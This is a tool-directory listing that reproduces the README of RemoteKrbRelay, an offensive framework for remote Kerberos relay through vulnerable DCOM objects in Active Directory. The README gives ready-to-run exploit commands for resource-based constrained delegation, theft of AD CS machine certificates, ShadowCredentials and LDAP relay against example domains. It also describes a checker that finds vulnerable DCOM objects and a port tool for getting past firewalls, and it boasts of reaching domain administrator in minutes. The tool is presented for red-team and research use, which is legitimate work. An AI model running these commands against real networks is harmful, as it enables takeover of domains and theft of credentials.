Baike.dev
All toolsOnline toolsAI codingTrendingOpen sourceNewsSubmit
Log in
< Back to tools
R

RemoteKrbRelay

> 编程语言
Open source

Remote Kerberos Relay made easy! Advanced Kerberos Relay Framework

650 stars0 likes0 views
WebsiteGitHub

About

Remote Kerberos Relay made easy! Advanced Kerberos Relay Framework

bash
                            /\_/\____,
                  ,___/\_/\ \  ~     /
                  \     ~  \ )   XXX
                    XXX     /    /\_/\___,
                       \o-o/-o-o/   ~    /
                        ) /     \    XXX
                       _|    / \ \_/
                    ,-/   _  \_/   \
                   / (   /____,__|  )
                  (  |_ (    )  \) _|
                 _/ _)   \   \__/   (_
                (,-(,(,(,/      \,),),)

                CICADA8 Research Team
                From Michael Zhmaylo (MzHmO)

RemoteKrbRelay

You probably know KrbRelay and KrbRelayUp, but what if I told you it could be done remotely? With RemoteKrbRelay this becomes a reality.

TL;DR

Learn more about CertifiedDCOM here. CertifiedDCOM allows you to trigger an ADCS machine account:

bash
# CertifiedDCOM (Abuse AD CS by setting RBCD)
  .\RemoteKrbRelay.exe -rbcd -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -cn FAKEMACHINE$

# CertifiedDCOM (Abuse ADCS to get Machine cert)
   .\RemoteKrbRelay.exe -adcs -template Machine -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3

# CertifiedDCOM (Abuse ADCS with ShadowCreds)
  .\RemoteKrbRelay.exe -shadowcred -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -forceshadowcred

There's also the SilverPotato exploit. You can use it to abuse sessions. Including a domain administrator session on a third-party host.

…

Details

Now, you have four folders in front of you:

  • Checker - old version of the checker for detecting vulnerable DCOM objects;
  • Checkerv2.0 - new version of the checker for detecting vulnerable DCOM objects;
  • Exploit - RemoteKrbRelay.exe :)
  • FindAvailablePort - a tool for bypassing a firewall when using an exploit.

Checker

So, let's start with Checker. You can use it to detect vulnerable DCOM objects. A vulnerable DCOM object can be considered to be:

  • The COM server within which the DCOM object is running must be run as another user or as a system. But never as NT AUTHORITY\LOCAL SERVICE, since it uses empty creds to authenticate from the network;
  • You must have RemoteLaunch, RemoteActivation permissions. This is LaunchPermissions;
  • Impersonation level should be RPC_C_IMP_LEVEL_IDENTIFY and higher. RPC_C_IMP_LEVEL_IDENTIFY is a default value;
  • U should have RemoteAccess permissions (or they should be emply). This is AccessPermission.

For easy detection, you can use Checkerv2.0. It supports output in csv and xlsx formats.

…

Example:

bash
.\Checkerv2.0.exe -outfile win10 -outformat xlsx

And u will receive such output:

The columns will contain the DCOM object CLSIDs, names, and LaunchPermission and AccessPermission.

Try searching for sppui (CLSID {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}, APPID {0868DC9B-D9A2-4f64-9362-133CEA201299}) and CertSrv Request (CLSID {d99e6e74-fc88-11d0-b498-00a0c90312f3}) objects and understand why they are vulnerable.

Don't use Checker, use only Checkerv2.0 pls :3

FindAvailablePort

A small tool to discover a port on which to raise a malicious DCOM server. See details here (Remote -> Local Potato).

Practice using the concept of a local port. Rewrite RemotePotato0 to a local port. Trust me, this is useful.

Exploit

I added quite a bit of different functionality to the exploit. Note that it provides enough functionality to abuse DCOM objects. I've also listed a few CLSIDs in Help for abuse. These CLSIDs were publicly known, there just wasn't a POC to abuse them. There are quite a few vulnerable DCOM objects, work with the checker and find them all!

…

Examples

I suggest looking at some of the attacks:

  • RBCD - relay to LDAP and setup RBCD.

  • HTTP ADCS - relay to web enrollment service.

  • ShadowCred - relay to LDAP and setup ShadowCreds.

  • Add user to group

  • LDAP Whoami request - It is convenient to combine with CLSID Bruteforce functionality. You can find out which user you are triggering. Try triggering for the first five sessions on all machines in the domain. Wow, that's what, a domain administrator in five minutes? :)

Supports cross-session activation using -session:

Also LAPS, changing user password, smb....

Video DEMO:

  • https://youtu.be/1zvycrTTgDU

TO DO LIST

  • Dump GMSA
  • Exchange to exchange relay
  • CLSID Bruteforce
  • Relay with supplemental credentials

Tips

  • Relay initial OXID Request authentication. Link. U can test:
bash
.\RemoteKrbRelay.exe -ldapwhoami -victim win10.vostok.street -target dc01.vostok.street -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -local dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAAA

# but I haven't implemented the relay from Initial OXID Request yet. Do it BRO! :)
# dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAAA <- this is DNS A record that points to kali (thx to CredMarshalTargetInfo() because i can receive tkt on RPCSS/dc01)
  • U can get TGT in AP-REQ. What if des cryptography is used?
bash
.\RemoteKrbRelay.exe -rbcd -victim win10.vostok.street -target dc01.vostok.street -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -spn krbtgt/root.apchi -cn FAKEMACHINE$

Conclusion

The vulnerability is quite serious. Note that this is the minimum POC. You should refine it if you want to use it stably on your Red Team projects.

Acknowledgements

  • Repos KrbRelay and KrbRelayUp, with their help I was able to figure out Kerberos Relay
  • BH Asia 2024 Talk
  • Silver Potato

Thanks for not posting the POC on CertifiedDCOM and SilverPotato, I've been stoked to do them on those articles :D

Issues· 0 open

View all issuesOpen on GitHub

No open issues yet, or sync has not completed.

> Tags

C#

No comments yet. Be the first to share.

> Details

PublishedAug 1, 2026
UpdatedSep 17, 2026
Category编程语言
PricingOpen source

> Related tools

T
TypeScript
JavaScript 的超集,为前端与全栈提供静态类型
P
Python
通用编程语言,广泛用于 Web、数据与 AI
G
Go
Google 推出的简洁高效系统语言